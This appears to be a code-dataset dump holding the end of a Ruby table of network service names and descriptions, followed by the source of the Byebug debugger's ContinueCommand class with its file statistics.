"xtell" => "Simple messaging client and server, sort of networked write",
"xtend" => "10 status monitoring daemon",
"xttpd" => "XTide web server",
"yardradius" => "YARD Radius Auth/Acct Server",
"yiff-server" => "Y Sound Server",
"youbin" => "Conventional mail arrival notification server.",
"ypbind" => "Network Information Service ",
"yppasswdd" => "Reserved for LSB-Compliant Distribution [email protected]",
"ypserv" => "NIS server",
"ypxfrd" => "Transfer NIS database from remote server",
"zebra" => "Routing manager for use with associated Quagga components",
"zephyrd" => "The original Instant Message system ",
"zhm" => "Zephyr HostManager ",
"zmailer" => "Mailer for Extreme Performance Demands",
"zmailer-ssl" => "Mailer for Extreme Performance Demands over SSL",
"zoneserver" => "Handle zone transfers for MaraDNS ",
"zope" => "Open source web application server"
}
end
| 76.533965 | 142 | 0.526978 |
21b7242f705aa70d3616245702f517201c295086 | 1,709 | # frozen_string_literal: true
require_relative "../command"
require_relative "../helpers/parse"
module Byebug
#
# Implements the continue command.
#
# Allows the user to continue execution until the next stopping point, a
# specific line number or until program termination.
#
class ContinueCommand < Command
include Helpers::ParseHelper
def self.regexp
/^\s* c(?:ont(?:inue)?)? (?:(!|\s+unconditionally|\s+\S+))? \s*$/x
end
def self.description
<<-DESCRIPTION
c[ont[inue]][ <line_number>]
#{short_description}
Normally the program stops at the next breakpoint. However, if the
parameter "unconditionally" is given or the command is suffixed with
"!", the program will run until the end regardless of any enabled
breakpoints.
DESCRIPTION
end
def self.short_description
"Runs until program ends, hits a breakpoint or reaches a line"
end
def execute
if until_line?
num, err = get_int(modifier, "Continue", 0, nil)
return errmsg(err) unless num
filename = File.expand_path(frame.file)
return errmsg(pr("continue.errors.unstopped_line", line: num)) unless Breakpoint.potential_line?(filename, num)
Breakpoint.add(filename, num)
end
processor.proceed!
Byebug.mode = :off if unconditionally?
Byebug.stop if unconditionally? || Byebug.stoppable?
end
private
def until_line?
@match[1] && !["!", "unconditionally"].include?(modifier)
end
def unconditionally?
@match[1] && ["!", "unconditionally"].include?(modifier)
end
def modifier
@match[1].lstrip
end
end
end
| 24.768116 | 119 | 0.648332 |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.